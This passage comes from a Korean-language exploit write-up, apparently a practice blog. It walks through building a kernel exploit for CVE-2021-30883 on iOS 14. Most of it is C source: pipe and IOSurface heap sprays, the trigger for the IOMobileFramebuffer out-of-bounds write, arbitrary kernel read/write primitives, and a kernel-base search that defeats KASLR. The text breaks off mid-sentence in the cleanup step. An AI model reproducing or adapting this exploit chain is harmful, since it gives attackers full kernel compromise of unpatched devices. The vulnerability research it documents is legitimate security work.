\uc2a4\ud504\ub808\uc774\uc5d0 \uc758\ud574 \ud560\ub2f9\ub418\ub294 \ucee4\ub110\uc8fc\uc18c\ub4e4\uc744 \uac01\uac01 \uc5bb\uc5b4 \ud504\ub85c\ud30c\uc77c\ub9c1\uc2dc\ucf1c\uc57c\ud55c\ub2e4<\/p>\n<p>\ud30c\uc774\ud504\ub97c 0x320\uac2f\uc218\ub9cc\ud07c \uc0dd\uc131\ud558\uace0, \uac01 \ud30c\uc774\ud504\ub9c8\ub2e4 (0x4000-1)\ub9cc\ud07c 0x42\uac12\uc744 \ucc44\uc6b4\ub2e4.\n\uadf8\ub7ec\uba74 \ub0b4\ubd80\uc801\uc73c\ub85c data.kalloc.16384 (type: KHEAP_DATA_BUFFERS) \uc874\uc73c\ub85c\ubd80\ud130 \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c 0x320\ubc88 \ud560\ub2f9\uc2dc\ud0a4\ub294 \uc148\uc774 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int write_data_pipes(int *pipefds, int total_pipes, void* data, size_t data_sz) {\n    void *pipebuf = malloc(kernel_page_size);\n    bzero(pipebuf, kernel_page_size);\n\n    memcpy(pipebuf, (void *)data, data_sz);\n    for (int i = 0; i &lt; total_pipes; i++)\n    {\n        int rfd = pipefds[2 * i];\n        int wfd = pipefds[2 * i + 1];\n        \n        if(data_sz &gt;= 0x3f10) {\n            *(uint16_t *)(pipebuf + 0x3f04) = rfd;\n            *(uint16_t *)(pipebuf + 0x3f06) = wfd;\n        }\n\n        size_t written = write(wfd, pipebuf, kernel_page_size - 1);\n        \n        if (written != kernel_page_size - 1)\n        {\n            total_pipes = i;\n            printf(&quot;total_pipes is now: %d&quot;, total_pipes);\n            break;\n        }\n    }\n\n    free(pipebuf);\n\n    return 0;\n}\n\n#if ENABLE_HELPER &amp;&amp; PROFILLING_KHEAP_DATA_BUFFERS\nint obtain_pipes_kaddr(int *pipefds, int total_pipes) {\n    \n    uint64_t p_fd = tfp0_kread64(proc_of_pid(getpid()) + off_p_pfd); \n    printf(&quot;p_fd = 0x%llx\\n&quot;, p_fd);;\n    uint64_t fd_ofiles = tfp0_kread64(p_fd);\n    printf(&quot;fd_ofiles = 0x%llx\\n&quot;, fd_ofiles);\n\n    uint64_t last_pipe_base = 0;\n\n    for (int i = 0; i &lt; total_pipes; i++) {\n        int rfd = pipefds[2 * i];\n        uint64_t rpipe_fp = tfp0_kread64(fd_ofiles + rfd * 8);\n        uint64_t r_fp_glob = tfp0_kread64(rpipe_fp + off_fp_fglob);\n        uint64_t rpipe = tfp0_kread64(r_fp_glob + off_fg_data); \n        uint64_t pipe_base = tfp0_kread64(rpipe + off_pb_buffer); \n        printf(&quot;KHEAP_DATA_BUFFERS KALLOCATED ADDR = 0x%llx\\n&quot;, pipe_base);\n        \n        last_pipe_base = pipe_base;\n    }\n\n    printf(&quot;[!] Try setting macro KHEAP_DATA_MAPPABLE_LOC to 0x%llx\\n&quot;, last_pipe_base - (0x4000*(total_pipes \/ 2)));\n\n    return 0;\n}\n#endif\n\n...\n\nint main(int argc, char *argv[], char *envp[]) {\n    offsets_init();\n\n#if ENABLE_HELPER\n    if(init_tfp0() == KERN_SUCCESS) {\n        printf(&quot;tfp0: 0x%&quot; PRIx32 &quot;\\n&quot;, tfp0);\n\n        int r = tfp0_get_kbase(&amp;tfp0_kbase);\n        printf(&quot;tfp0_get_kbase ret: %d, tfp0_kbase: 0x%llx, tfp0_kslide: 0x%llx\\n&quot;, r, tfp0_kbase, tfp0_kslide);\n\n        init_kexecute();\n#endif\n\n...\n\n    increase_file_limit();\n#if ENABLE_HELPER &amp;&amp; PROFILLING_KHEAP_DATA_BUFFERS\n    int total_pipes_ = 0x320;\n    int *pipefds_ = create_pipes(total_pipes_);\n\n    void *pipe_data_ = malloc(kernel_page_size);\n    memset(pipe_data_, 0x42, kernel_page_size);\n    write_data_pipes(pipefds_, total_pipes_, pipe_data_, kernel_page_size);\n\n    obtain_pipes_kaddr(pipefds_, total_pipes_);\n\n    close_pipes(pipefds_, total_pipes_, false, 0, 0);\n\n    goto cleanup;\n#endif\n...\n<\/code><\/pre>\n<p>\ud30c\uc774\ud504\uc758 \ud560\ub2f9\ub41c \ucee4\ub110 \uc8fc\uc18c\ub294 \uc544\ub798 \uadf8\ub9bc\uacfc \uac19\uc774 \ub098\ud0c0\ub0bc \uc218 \uc788\ub2e4.<\/p>\n<p>kernproc\uc5d0\uc11c \uc21c\ud68c\ud558\uc5ec \uc5ec\ub7ec \ud504\ub85c\uc138\uc2a4 \ub4e4\uc911\uc5d0 \uc775\uc2a4\ud50c\ub85c\uc787\ud558\ub294 \uc790\uae30 \ud504\ub85c\uc138\uc2a4(selfproc)\uc778\uc9c0 pid \uac12\uc744 \ud1b5\ud574 \ud655\uc778\ud55c\ub2e4.\n\uadf8\ub7f0 \ub2e4\uc74c, proc \uad6c\uc870\uccb4\uc758 p_fd \ud544\ub4dc\ubd80\ud130 \uc21c\ucc28\uc801\uc73c\ub85c \uc811\uadfc\ud558\uc5ec pipe_base\uae4c\uc9c0 \ub3c4\ub2ec\uc2dc\ud0b4\uc73c\ub85c\uc368\n\ud30c\uc774\ud504 \ud560\ub2f9\uc8fc\uc18c\ub97c \uac00\uc838\uc62c \uc218 \uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30883\/pics\/Screenshot_2025-12-26_at_10.28.17_AM.png\" alt=\"Screenshot 2025-12-26 at 10.28.17\u202fAM.png\"><\/p>\n<p>checkra1n\uc744 \ud1b5\ud574 \ud0c8\uc625\ud558\uace0, \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774\ub97c \ud1b5\ud574 \ud504\ub85c\ud30c\uc77c\ub9c1 \uc8fc\uc18c\ub97c \ud655\uc778\ud574\ubcf8 \uacb0\uacfc\n\u2192 \uc544\uc774\ud3f08 \/ iOS 14.4.2 \uae30\uc900\uc73c\ub85c 0xffffffe4ce978000 \uc8fc\uc18c\uac00 \ub098\uc654\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">#define KHEAP_DATA_MAPPABLE_LOC 0xffffffe4ce978000\n<\/code><\/pre>\n<h2>3. \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774<\/h2>\n<p>\uc774\uc81c \ubcf8\uaca9\uc801\uc73c\ub85c \uc775\uc2a4\ud50c\ub85c\uc787\ud558\uae30 \uc704\ud574 \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774\ub97c \uc9c4\ud589\ud55c\ub2e4.\n\uc608\uc0c1\ub300\ub85c\ub77c\uba74, \ud30c\uc774\ud504\uc5d0 \uc758\ud574 \ud560\ub2f9\ub41c \uc5ec\ub7ec \ucee4\ub110 \uc8fc\uc18c \uc911 \uc5b4\ub290 \ud55c \uacf3\uc774 0xffffffe4ce978000 \uc8fc\uc18c\ub97c \uac00\ub9ac\ud0a4\uace0 \uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<p>\ucd94\ud6c4 \uc190\uc0c1\ub41c IOSurface \uac1d\uccb4\uc778\uc9c0 \uad6c\ubd84\ud558\uae30 \uc704\ud574\n<code>*(uint64_t *)(pipe_data + 0x10 + 0xC0)<\/code>\uc5d0 <code>(KHEAP_DATA_MAPPABLE_LOC + 0x3f04) - 0x14<\/code> \uac12\uc744 \uc4f4\ub2e4. \uadf8\ub7ec\uba74, <code>IOSurface::get_use_count<\/code>\ub97c \ud1b5\ud574 <code>KHEAP_DATA_MAPPABLE_LOC + 0x3f04<\/code> \ucee4\ub110 \uc8fc\uc18c\ub85c\ubd80\ud130 \uac12\uc744 \uc77d\uc5b4\uc62c \uc218 \uc788\ub2e4.<\/p>\n<p>\uadf8\ub9ac\uace0 <code>write_data_pipes<\/code>\ub97c \uc218\ud589\ud558\ub294\ub370, \ud574\ub2f9 \ucee4\ub110 \uc8fc\uc18c\ub85c\ubd80\ud130 \uc77d\ud790\ub54c\uc5d0 \ud30c\uc774\ud504\uc758 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\uac12\uc744 \uc5bb\uc744 \uc218 \uc788\ub3c4\ub85d \uae30\ub85d\ud574\ub450\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int write_data_pipes(int *pipefds, int total_pipes, void* data, size_t data_sz) {\n    void *pipebuf = malloc(kernel_page_size);\n    bzero(pipebuf, kernel_page_size);\n\n    memcpy(pipebuf, (void *)data, data_sz);\n    for (int i = 0; i &lt; total_pipes; i++)\n    {\n        int rfd = pipefds[2 * i];\n        int wfd = pipefds[2 * i + 1];\n        \n        if(data_sz &gt;= 0x3f10) {\n            *(uint16_t *)(pipebuf + 0x3f04) = rfd;\n            *(uint16_t *)(pipebuf + 0x3f06) = wfd;\n        }\n\n        size_t written = write(wfd, pipebuf, kernel_page_size - 1);\n        \n        if (written != kernel_page_size - 1)\n        {\n            total_pipes = i;\n            printf(&quot;total_pipes is now: %d&quot;, total_pipes);\n            break;\n        }\n    }\n\n    free(pipebuf);\n\n    return 0;\n}\n\nint main(int argc, char *argv[], char *envp[]) {\n  ...\n    printf(&quot;Exploiting CVE-2021-30883 (first journey from poc to exploit by @wh1te4ever!)\\n&quot;);\n\n    \/\/ pipe spray\n    int total_pipes = 0x320;\n    int *pipefds = create_pipes(total_pipes);\n\n    void *pipe_data = malloc(kernel_page_size);\n    memset(pipe_data, 0x42, kernel_page_size);\n\n    *(uint64_t *)(pipe_data + 0x10 + 0xC0) = (KHEAP_DATA_MAPPABLE_LOC + 0x3f04) - 0x14; \/\/will be read by IOSurface::get_use_count, will read data from kernel addr(KHEAP_DATA_MAPPABLE_LOC + 0x3f04) \n\n    write_data_pipes(pipefds, total_pipes, pipe_data, kernel_page_size);\n...\n<\/code><\/pre>\n<h2>4. IOSurface \uc2a4\ud504\ub808\uc774 \/ \uad6c\uba4d \ub6ab\uae30<\/h2>\n<p><code>IOSurfaceRoot_create_surface_fast<\/code> \ub97c \uc5ec\ub7ec\ubc88 \ud638\ucd9c\ud558\uc5ec \uc57d 1600\uac1c\uc758 IOSurfaceClient \uac1d\uccb4\ub97c \ud560\ub2f9\uc2dc\ud0a8\ub2e4.<\/p>\n<p><code>IOSurfaceRoot_release_surface<\/code>\ub97c \ud638\ucd9c\ud558\uc5ec\nIOSurfaceClients \ubc30\uc5f4\ub4e4 \uc911 \uc0ac\uc774\uc0ac\uc774\uc5d0 \ud560\ub2f9\ub41c IOSurfaceClient \uac1d\uccb4\ub97c \ud560\ub2f9\ud574\uc81c\ud558\uc5ec \uad6c\uba4d\uc744 \ub6ab\ub294\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int main(int argc, char *argv[], char *envp[]) {\n  ...\n    \/\/ iosurface &amp; iomfb\n    mach_port_t iosurface_uc = IOSurfaceRoot_init();\n    io_connect_t iomfb_uc = get_iomfb_uc();\n\n    ...\n    \n    \/\/ spray IOSurface\n    for (int i = 0; i &lt; 0x1000; ++i)\n    {\n        uint32_t last_id = IOSurfaceRoot_create_surface_fast(iosurface_uc);\n            gIOSurface_ids[gIOSurface_id_count] = last_id;\n        gIOSurface_id_count++;\n        if ((0x3400) &lt;= (last_id * sizeof(uint64_t)))\n        {\n            break;\n        }\n    }\n\n    \/\/ punch hole kext.kalloc.160, free! (heap fengshui)\n    \/\/ Thanks @jaakerblom for release Zer0con 2022 slide, that gives me idea!\n    uint32_t last_free_surfid = 0;\n    for (int32_t surf_idx = 0; surf_idx &lt; gIOSurface_id_count; surf_idx++)\n    {\n        if(surf_idx &gt;= 100 &amp;&amp; surf_idx % 100 == 0) {\n            IOSurfaceRoot_release_surface(iosurface_uc, gIOSurface_ids[surf_idx]);\n            printf(&quot;release, iosurf_id = 0x%x\\n&quot;, gIOSurface_ids[surf_idx]);\n            last_free_surfid = gIOSurface_ids[surf_idx];\n            gIOSurface_ids[surf_idx] = 0;\n        }\n    }\n    ...\n<\/code><\/pre>\n<h2>5. \ucde8\uc57d\uc810 \ud2b8\ub9ac\uac70, \uc190\uc0c1\ub41c IOSurfaceClient \uac1d\uccb4 \ucc3e\uae30<\/h2>\n<p><code>trigger_vuln<\/code>\uc744 \uc218\ud589\ud558\uba74, kext.kalloc.160 \uc874\uc73c\ub85c\ubd80\ud130 \ucee4\ub110 \uba54\ubaa8\ub9ac \ud560\ub2f9\ubc1b\ub294 \uac83\uacfc \ub3d9\uc2dc\uc5d0\nIOSurfaceClient \uac1d\uccb4\ub4e4 \uc911 \uc5b4\ub290 \ud558\ub098\uac00 +0x40 \uc624\ud504\uc14b\uc5d0 \ud504\ub85c\ud30c\uc77c\ub9c1\ub41c KHEAP_DATA_MAPPABLE_LOC \uc8fc\uc18c\ub85c \ub36e\ud790 \uac83\uc774\ub2e4.<\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c \ud560\ub2f9\ud574\uc81c\ub41c surfid\ub97c \uae30\uc810\uc73c\ub85c surfid\ub97c \uc870\uae08\uc529 \uc810\ucc28 \uc99d\uac00\/\uac10\uc18c\uc2dc\ud0a4\uba74\uc11c, <code>IOSurfaceRoot_get_surface_use_count<\/code> \ub9ac\ud134\uac12\uc744 \ub9e4\ubc88 \ud655\uc778\ud558\uc5ec \ud30c\uc774\ud504 \uc77d\uae30\/\uc4f0\uae30\uc6a9 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130 \uac12\uc744 \ud68d\ub4dd\ud55c\ub2e4.<\/p>\n<p>\uc774\uc81c\ubd80\ud130\ub294 \ud2b9\uc815 IOSurfaceClient\ub97c \ud1b5\ud574 \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\uac00 \uac00\ub2a5\ud574\uc9c4\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int trigger_vuln(io_connect_t iomfb_uc) {\n\n    \/\/trigger oob write kext.kalloc.160\n    \/\/Thanks @AmarSaar for providing detail write-up and poc; https:\/\/github.com\/saaramar\/IOMFB_integer_overflow_poc\n    kern_return_t ret = KERN_SUCCESS;\n    size_t input_size = 0x180;\n    \n    uint64_t scalars[2] = { 0 };\n\n    char *input = (char*)malloc(input_size);\n    memset(input, 0x41, input_size);\n\n    \/\/ control IOSurface ptr\n    *(uint64_t *)(input + 0x150) = 0x8182838400000000 + ((KHEAP_DATA_MAPPABLE_LOC+0x10) &amp; 0xffffffff);\n    *(uint64_t *)(input + 0x158) = 0x1337133813391340;  \n    *(uint64_t *)(input + 0x154) = KHEAP_DATA_MAPPABLE_LOC+0x10;\n\n    int *pArr = (int*)input;\n    pArr[0] = 0x3;          \/\/ sub-sub selector\n    pArr[1] = 0xffffffff;   \/\/ has to be non-zero\n    pArr[2] = 0x40000000;   \/\/ #iterations in the outer loop (new_from_data)\n    pArr[3] = 2;\n    pArr[8] = 2;\n    pArr[89] = 40;        \/\/ #iterations in the inner loop (set_table)\n\n    \/\/ do oob write to corrupt IOSurfaceClient\n    ret = IOConnectCallMethod(iomfb_uc, 78,\n                        scalars, 2,\n                        input, input_size,\n                        NULL, NULL,\n                        NULL, NULL);\n                    \n    return 0;\n}   \n    \n    \nint main(int argc, char *argv[], char *envp[]) {\n  ...\n    \n    trigger_vuln(iomfb_uc);\n\n    \/\/ find out corrupted IOSurfaceClient's surf_id\n    uint32_t krw_surf_id = 0;\n    uint32_t krw_rfd = 0;\n    uint32_t krw_wfd = 0;\n    for (int i = 0; i &lt; 50; i++)\n    {\n        uint32_t surf_id = last_free_surfid - i;\n        uint32_t pipefd_leak = IOSurfaceRoot_get_surface_use_count(iosurface_uc, surf_id);\n        if(pipefd_leak != 0) {\n            krw_rfd = pipefd_leak &amp; 0xffff;\n            krw_wfd = (pipefd_leak &gt;&gt; 16) &amp; 0xFFFF;\n            printf(&quot;[+] Found corrupted IOSurfaceClient's surf_id = 0x%x\\n&quot;, surf_id);\n            printf(&quot;[+] pipefd_leak = 0x%x, krw_rfd = 0x%x, krw_wfd = 0x%x\\n&quot;, pipefd_leak, krw_rfd, krw_wfd);\n\n            krw_surf_id = surf_id;\n            break;\n        }\n        \n        surf_id = last_free_surfid + i;\n        pipefd_leak = IOSurfaceRoot_get_surface_use_count(iosurface_uc, surf_id);\n        if(pipefd_leak != 0) {\n            krw_rfd = pipefd_leak &amp; 0xffff;\n            krw_wfd = (pipefd_leak &gt;&gt; 16) &amp; 0xFFFF;\n            printf(&quot;[+] Found corrupted IOSurfaceClient's surf_id = 0x%x\\n&quot;, surf_id);\n            printf(&quot;[+] pipefd_leak = 0x%x, krw_rfd = 0x%x, krw_wfd = 0x%x\\n&quot;, pipefd_leak, krw_rfd, krw_wfd);\n\n            krw_surf_id = surf_id;\n            break;\n        }\n    }\n    ...\n<\/code><\/pre>\n<h2>6. \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30 \ud14c\uc2a4\ud2b8<\/h2>\n<p>\ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\uc6a9\uc73c\ub85c \uc0ac\uc6a9\ub418\ub294 \ud30c\uc774\ud504\ub97c \uc81c\uc678\ud55c \ubaa8\ub4e0 \ud30c\uc774\ud504\ub4e4\uc744 \ub2eb\uc544\uc8fc\uace0, IOSurface\uc5d0\uc11c \uc81c\uacf5\ud558\ub294 \uc140\ub7ed\ud130\ub97c \ud638\ucd9c\ud558\uc5ec \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\ub97c \ud14c\uc2a4\ud2b8\ud574\ubcf8\ub2e4.<\/p>\n<p>\uc774\ubbf8 \uc124\uba85\ud588\ub4ef\uc774, <strong>IOSurface \ud3ec\uc778\ud130\ub97c \uc81c\uc5b4\ud588\uae30 \ub54c\ubb38\uc5d0<\/strong>, \ucda9\ubd84\ud55c \uac04\uc811 \ucc38\uc870 \uc218\uc900(indirection)\uc774 \uc788\uc5b4 \ucee4\ub110 \uc784\uc758 \uc4f0\uae30\uc640 \uc77d\uae30\uac00 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe)\n{\n    _uc = uc;\n    _surf_id = surf_id;\n    _read_pipe = read_pipe;\n    _write_pipe = write_pipe;\n    \n    return 0;\n}\n\nuint32_t kread32(uint64_t kaddr)\n{\n    uint8_t buf[kernel_page_size];\n    \n    read(_read_pipe, buf, kernel_page_size-1);\n    \n    *(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0x14;\n    \n    write(_write_pipe, buf, kernel_page_size-1);\n    \n    return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id);\n}\n\nuint64_t kread64(uint64_t kaddr)\n{\n    uint8_t b[8];\n    \n    *(uint32_t *)b = kread32(kaddr);\n    *(uint32_t *)(b + 4) = kread32(kaddr + 4);\n    \n    return *(uint64_t *)b;\n}\n\nvoid kwrite64(uint64_t kaddr, uint64_t val)\n{\n    uint8_t buf[kernel_page_size];\n    \n    read(_read_pipe, buf, kernel_page_size-1);\n    \n    *(uint64_t *)(buf + 0x10 + 0x360) = kaddr; \/\/ See IOSurface::setIndexedTimestamp\n    \n    write(_write_pipe, buf, kernel_page_size-1);\n    \n    IOSurfaceRoot_set_indexed_timestamp(_uc, _surf_id, val);\n}\n\n...\n\nint main(int argc, char *argv[], char *envp[]) {\n  ...\n\n    \/\/close all pipe except krw related\n    close_pipes(pipefds, total_pipes, true, krw_rfd, krw_wfd);\n\n    \/\/check if krw works\n    kernel_rw_init(iosurface_uc, krw_surf_id, krw_rfd, krw_wfd);\n\n    \/\/ Is kread working?\n    uint64_t kaddr = KHEAP_DATA_MAPPABLE_LOC + 0x2000;\n    uint64_t val = kread64(kaddr);\n    printf(&quot;kaddr: 0x%llx -&gt; val: 0x%llx\\n&quot;, kaddr, val);\n    if(val != 0x4242424242424242) {\n        printf(&quot;kernel read failed! :(\\n&quot;);\n        spinning();\n    }\n\n    \/\/ Is kwrite working?\n    printf(&quot;Writing 0xcafebabe13371338 to kaddr(=0x%llx)\\n&quot;, kaddr);\n    kwrite64(kaddr, 0xcafebabe13371338);\n    val = kread64(kaddr);\n    printf(&quot;kaddr: 0x%llx -&gt; val: 0x%llx\\n&quot;, kaddr, val);\n    if(val != 0xcafebabe13371338) {\n        printf(&quot;kernel write failed! :(\\n&quot;);\n        spinning();\n    }\n    printf(&quot;Confirmed working kernel read\/write!\\n&quot;);\n    ...\n<\/code><\/pre>\n<h2>7. \ucee4\ub110 \ubca0\uc774\uc2a4 \uad6c\ud558\uae30<\/h2>\n<p>\ud3ec\ud2b8 \uba54\uc2dc\uc9c0\ub97c \ud560\ub2f9\uc2dc\ud0a4\ub294\ub370, \uc774\ub54c\ub294 KHEAP_DATA_BUFFERS \ud0c0\uc785\uc73c\ub85c \ud560\ub2f9\ub41c\ub2e4.\n\ud3ec\ud2b8 \uba54\uc2dc\uc9c0\ub97c 0x2a00\ubc88\ub9cc\ud07c \uc5ec\ub7ec\ubc88 \uc2a4\ud504\ub808\uc774\ud55c\ub2e4\uba74, KHEAP_DATA_MAPPABLE_LOC\ub97c \uae30\uc810\uc73c\ub85c \ub192\uc740 \uc8fc\uc18c \uc5b4\ub518\uac00\uc5d0 \uc5ec\ub7ec \ud3ec\ud2b8 \uba54\uc2dc\uc9c0\ub4e4 \uc911 \uc5b4\ub290 \ud558\ub098\uac00 \ud560\ub2f9\ub418\uc788\uc744\uac83\uc774\ub2e4. \uc774\ub97c \ud1b5\ud574 ikm_header \uad6c\uc870\uccb4 \uc8fc\uc18c\ub97c \uc5bb\uc744 \uc218 \uc788\ub2e4.<\/p>\n<p>\ud574\ub2f9 \uad6c\uc870\uccb4\uc5d0\uc11c \ucd9c\ubc1c\ud558\uc5ec msgh_remote_port, data.receiver, is_task \ud544\ub4dc\ub97c \ub2e8\uacc4\uc801\uc73c\ub85c \uc811\uadfc\ud558\uc5ec \ud604\uc7ac \uc2e4\ud589\uc911\uc778 \uc790\uae30 \uc790\uc2e0 \ud504\ub85c\uc138\uc2a4\uc758 task \uc8fc\uc18c\ub97c \ud68d\ub4dd\ud55c\ub2e4.<\/p>\n<p>\uc774\ud6c4\uc5d4 \ud3ec\ud2b8 \uc8fc\uc18c\ub97c \uac00\uc838\uc624\ub294 \uac83\uc774 \uac00\ub2a5\ud558\ubbc0\ub85c, <code>IOSurfaceRootUserClient<\/code> \uac1d\uccb4\ubd80\ud130 \uad6c\uc870\uccb4 \ud544\ub4dc\uc5d0 \ucc28\ub840\ub85c \uc811\uadfc\ud558\uc5ec <code>vtable<\/code>\uc5d0 \uc811\uadfc\ud55c\ub2e4.<\/p>\n<p><code>vtable<\/code>\uc5d0 \uc788\ub294 <code>IOUserClient::getTargetAndTrapForIndex<\/code> \ud568\uc218 \uc8fc\uc18c\ub97c \uac00\uc838\uc624\uace0, \ud574\ub2f9 \ud568\uc218 \uc8fc\uc18c\uac00 \uc18d\ud55c \ud398\uc774\uc9c0\uc758 \uc8fc\uc18c\ub85c \ub0b4\ub9bc\ud55c \ub2e4\uc74c, \ucee4\ub110 \uc8fc\uc18c\ub97c \uc77d\uace0 \ud398\uc774\uc9c0 \ud06c\uae30\ub9cc\ud07c \uc77d\ud790 \uc8fc\uc18c\ub97c \uac10\uc18c\uc2dc\ud0b4\uc744 \ubc18\ubcf5\ud568\uc73c\ub85c\uc368 \ucee4\ub110 \ubca0\uc774\uc2a4\ub97c \ucc3e\uc73c\uba74 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/\/ Ian Beer\nmach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size) {\n    return ((3 * kalloc_size) \/ 4) - 0x74;\n}\n\nkern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {\n    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;\n    struct simple_msg *msg = malloc(msg_size);\n    \n    memset(msg, 0, sizeof(struct simple_msg));\n    \n    msg-&gt;hdr.msgh_remote_port = destination;\n    msg-&gt;hdr.msgh_local_port = MACH_PORT_NULL;\n    msg-&gt;hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;hdr.msgh_size = msg_size;\n    \n    memcpy(&amp;msg-&gt;buf[0], buffer, size);\n    \n    kern_return_t ret = mach_msg(&amp;msg-&gt;hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    if (ret) {\n        printf(&quot;[-] failed to send message\\n&quot;);\n        mach_port_destroy(mach_task_self(), destination);\n        free(msg);\n        return ret;\n    }\n    free(msg);\n    return KERN_SUCCESS;\n}\n\n...\n\nint main(int argc, char *argv[], char *envp[]) {\n  ...\n  \n    #define port_cnt 0x2a00\n    mach_port_t ports[port_cnt] = {};\n    \/\/ setup ports\n    for (int i = 0; i &lt; port_cnt; i++) {\n        ports[i] = new_mach_port();\n    }\n\n    \/\/ spray kheap data ports\n    int port_i = 0;\n    #define POP_PORT() ports[port_i++]\n    for(int i = 0; i &lt; port_cnt; i++) {\n        mach_port_t current_port = POP_PORT();\n        mach_msg_size_t msg_size = message_size_for_kalloc_size(kernel_page_size) - sizeof(struct simple_msg);\n        void *data = calloc(1, msg_size);\n        memset(data, 0x43, msg_size);\n        send_message(current_port, data, msg_size);\n    }\n\n    \/\/ find out where sprayed kmsg and obtain msgh_remote_port kaddr\n    uint64_t guessed_ikm_header = KHEAP_DATA_MAPPABLE_LOC + 0x4000 * 512 + 0xfd0;\n    uint64_t msgh_remote_port = 0;\n    for(int i = 0; i &lt; 100; i++) {\n        \/\/ https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2020-3837\/helper\/find_port.c#L31\n        uint32_t off_mach_msg_header_t_msgh_remote_port = 0x8;  \/\/ (lldb) p\/x offsetof(mach_msg_header_t, msgh_remote_port)\n        uint64_t kmsgdata = guessed_ikm_header + 0x20;\n        if(kread64(kmsgdata) == 0x4343434343434343) {\n            msgh_remote_port = kread64(guessed_ikm_header + off_mach_msg_header_t_msgh_remote_port); \n            printf(&quot;Found one of sprayed kmsg! ikm_header = 0x%llx, ikm_header-&gt;msgh_remote_port = 0x%llx\\n&quot;, guessed_ikm_header, msgh_remote_port);\n            break;\n        }\n        guessed_ikm_header += 0x4000;\n    }\n    if(msgh_remote_port == 0) {\n        printf(&quot;Failed to find out sprayed kmsg...\\n&quot;);\n        spinning();\n    }\n\n    \/\/ Obtaining our task kaddr\n    \/\/ msgh_remote_port's data.receiver \/\/ 0x60 = p\/x offsetof(ipc_port, data.receiver); data.receiver's type = ipc_space*\n    uint64_t data_receiver = kread64(msgh_remote_port + 0x60);\n    printf(&quot;data_receiver = 0x%llx\\n&quot;, data_receiver);\n\n    \/\/ data.receiver's is_task          \/\/ 0x30 = p\/x offsetof(ipc_space, is_task); is_task's type = task*\n    uint64_t our_task = kread64(data_receiver + 0x30);\n    printf(&quot;our_task = 0x%llx\\n&quot;, our_task);\n\n    \/\/ clean our sprayed kheap data ports\n    for (int i = 0; i &lt; port_cnt; i++) {\n        mach_port_destroy(mach_task_self(), ports[i]);\n    }\n\n    \/\/ Obtain kernel base via IOSurfaceRootUserClient_vtab\n    uint64_t iosurface_port = find_port(our_task, iosurface_uc);\n    uint64_t surfRoot = kread64(iosurface_port + off_ipc_port_ip_kobject); \n    uint64_t IOSurfaceRootUserClient_vtab = kread64(surfRoot);\n    IOSurfaceRootUserClient_vtab |= 0xffffff8000000000; \/\/ in case it has PAC\n    uint64_t getExternalTrapForIndex_func = kread64(IOSurfaceRootUserClient_vtab + 8 * 0xb8);   \/\/__ZN12IOUserClient24getTargetAndTrapForIndexEPP9IOServicej; LDR X8, [X8,#0x5C0]; 8*0xb8=0x5c0\n    getExternalTrapForIndex_func |= 0xffffff8000000000;\n    printf(&quot;getExternalTrapForIndex_func = 0x%llx\\n&quot;, getExternalTrapForIndex_func);\n\n    \/\/ walking down kpages to find kernel base\n    uint64_t page = trunc_page_kernel(getExternalTrapForIndex_func);\n    uint64_t kbase = 0;\n    uint64_t kslide = 0;\n    while (true) {\n        if (kread64(page) == 0x0100000cfeedfacf &amp;&amp; (kread64(page + 8) == 0x0000000200000000 || kread64(page + 8) == 0x0000000200000002)) {\n            kbase = page;\n            kslide = kbase - 0xfffffff007004000;\n            break;\n        }\n        page -= kernel_page_size;\n    }\n    printf(&quot;Got kernel slide = 0x%llx, kernel base = 0x%llx\\n&quot;, kslide, kbase);\n    ...\n<\/code><\/pre>\n<h2>8.  \uc775\uc2a4\ud50c\ub85c\uc787 \uc815\ub9ac: IOSurfaceClient\uc758 prev\uc640 next \ud3ec\uc778\ud130 \uace0\uce58\uae30<\/h2>\n<p><code>IOSurfaceRoot_release_all<\/code>\ub97c \ud1b5\ud574 IOSurface \uac1d\uccb4\ub4e4\uc744 \ud574\uc81c\ud558\uae30 \uc804\uc5d0 \uc55e\uc11c,\n\uc190\uc0c1\ub41c IOSurfaceClient\ub97c \ud3ec\ud568\ud55c \uc778\uadfc \uac1d\uccb4\ub4e4\uc740 \ud560\ub2f9\ud574\uc81c\ub418\uc9c0 \ubabb\ud558\uac8c\ub054 \ub9cc\ub4e0\ub2e4.<\/p>\n<p>\uac01 IOSurfaceClient \uac1d\uccb4\uc5d0\ub294 prev\uc640 next \ud3ec\uc778\ud130\uac00 \uc874\uc7ac\ud558\uae30\uc5d0, \uc774\ub97c \uc218\uc815\ud558\uc5ec\n\uc190\uc0c1\ub41c \uac1d\uccb4\ub97c \uac00\ub9ac\ud0a4\uc9c0 \uc54a\uace0 \uac74\ub108\ub6f0\uac8c\ub054 